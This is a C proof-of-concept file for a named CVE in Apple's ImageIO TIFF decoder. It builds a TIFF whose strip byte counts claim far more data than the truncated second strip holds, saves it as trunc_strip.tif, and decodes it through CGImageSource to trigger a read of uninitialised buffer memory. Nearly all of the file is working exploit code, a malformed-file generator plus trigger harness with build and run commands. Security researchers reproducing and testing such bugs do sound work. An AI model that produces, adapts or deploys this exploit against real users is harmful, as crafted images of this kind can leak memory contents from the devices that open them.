// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
// Truncated strip scatter of uninitialised buffer bytes
// C twin of the Swift POC: builds the truncated-strip TIFF and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112632 CVE-2026-112632.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run:   ./cve-2026-112632 [width] [height]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
    bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}

// ── TIFF IFD builder (from Cinder27 Sources: TIFFPayload.build) ──
// Entry values longer than 4 bytes must be supplied as a blob under the same tag.
typedef struct { uint16_t tag, type; uint32_t count; const uint8_t *value; size_t value_n; } tentry;
typedef struct { uint16_t tag; const uint8_t *bytes; size_t n; } tblob;

static buf tiff_build(const tentry *entries, int n, const tblob *blobs, int nblobs) {
    size_t ifd_size = 2 + (size_t)n * 12 + 4;
    size_t extra_offset = 8 + ifd_size;
    if (extra_offset % 2) extra_offset++;

    // sort entries by tag
    tentry sorted[16];
    memcpy(sorted, entries, (size_t)n * sizeof(tentry));
    for (int i = 0; i < n; i++) for (int j = i + 1; j < n; j++) {
        if (sorted[j].tag < sorted[i].tag) { tentry t = sorted[i]; sorted[i] = sorted[j]; sorted[j] = t; }
    }

    // blob offsets, assigned in blob order
    size_t blob_off[8] = {0};
    size_t cur = extra_offset;
    for (int i = 0; i < nblobs; i++) { blob_off[i] = cur; cur += blobs[i].n; }

    buf out = {0};
    bcat(&out, "II\x2a\x00", 4);
    le32(&out, 8);
    le16(&out, (uint16_t)n);
    for (int i = 0; i < n; i++) {
        const tentry *e = &sorted[i];
        le16(&out, e->tag);
        le16(&out, e->type);
        le32(&out, e->count);
        if (e->value_n <= 4) {
            bcat(&out, e->value, e->value_n);
            brep(&out, 0, 4 - e->value_n);
        } else {
            // find the blob carrying this tag
            size_t off = 0;
            for (int j = 0; j < nblobs; j++) if (blobs[j].tag == e->tag) { off = blob_off[j]; break; }
            le32(&out, (uint32_t)off);
        }
    }
    le32(&out, 0);                     // next IFD
    if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n);
    for (int i = 0; i < nblobs; i++) bcat(&out, blobs[i].bytes, blobs[i].n);
    return out;
}

// ── seed construction (from Cinder27 Sources: TIFFPayload.truncatedStrip) ──
static buf tiff_truncated_strip(int width, int height) {
    uint32_t strip_bytes = (uint32_t)(width * height / 2);
    uint8_t placeholder[8] = {0};
    uint8_t counts[8], v256[4], v257[4], v258[2], v259[2], v262[2], v277[2], v278[4], v284[2];
    // inline values
    {
        uint8_t w[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)};
        uint8_t h[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
        uint8_t rows[4] = {(uint8_t)(height / 2), (uint8_t)((height / 2) >> 8), 0, 0};
        memcpy(v256, w, 4); memcpy(v257, h, 4); memcpy(v278, rows, 4);
    }
    v258[0] = 8; v258[1] = 0;               // BitsPerSample
    v259[0] = 1; v259[1] = 0;               // compression none
    v262[0] = 1; v262[1] = 0;               // photometric min-is-black
    v277[0] = 1; v277[1] = 0;               // spp 1
    v284[0] = 1; v284[1] = 0;               // planar chunky
    {
        buf c = {0};
        le32(&c, strip_bytes); le32(&c, strip_bytes);
        memcpy(counts, c.d, 8);
        bfree(&c);
    }

    tentry entries[10] = {
        {256, 4, 1, v256, 4},
        {257, 4, 1, v257, 4},
        {258, 3, 1, v258, 2},
        {259, 3, 1, v259, 2},
        {262, 3, 1, v262, 2},
        {273, 4, 2, placeholder, 8},
        {277, 3, 1, v277, 2},
        {278, 4, 1, v278, 4},
        {279, 4, 2, counts, 8},
        {284, 3, 1, v284, 2},
    };
    tblob blobs[1] = { {273, placeholder, 8} };

    // pass 1: placeholder fixes the layout
    buf data = tiff_build(entries, 10, blobs, 1);
    uint32_t base = (uint32_t)data.n;
    bfree(&data);

    // pass 2: real strip offsets (identical layout)
    uint8_t offsets[8];
    {
        buf c = {0};
        le32(&c, base); le32(&c, base + strip_bytes);
        memcpy(offsets, c.d, 8);
        bfree(&c);
    }
    entries[5].value = offsets;
    tblob blobs2[1] = { {273, offsets, 8} };
    data = tiff_build(entries, 10, blobs2, 1);

    // strip 1: full; strip 2: physically truncated to 16 bytes
    brep(&data, 0x33, strip_bytes);
    brep(&data, 0x00, 16);
    return data;
}

// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>

static int decode_image(const buf *img, const char **detail) {
    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
    CFRelease(cf);
    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
    size_t frames = CGImageSourceGetCount(src);
    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
    static char r[256];
    if (cg) {
        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
        CGImageRelease(cg);
    } else {
        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
    }
    CFRelease(src);
    *detail = r;
    return cg ? 0 : -1;
}

int main(int argc, char **argv) {
    int width = argc > 1 ? atoi(argv[1]) : 32;
    int height = argc > 2 ? atoi(argv[2]) : 32;

    buf tiff = tiff_truncated_strip(width, height);
    FILE *f = fopen("trunc_strip.tif", "wb");
    if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }

    const char *detail = NULL;
    int rc = decode_image(&tiff, &detail);
    printf("CVE-2026-112632 · %dx%d, strip byte counts claim %d, second strip is 16 B · %s\n",
           width, height, width * height / 2, detail ? detail : "?");
    printf("seed: trunc_strip.tif (%zu B) · exit code %d\n", tiff.n, rc);
    bfree(&tiff);
    return rc == 0 ? 0 : 1;
}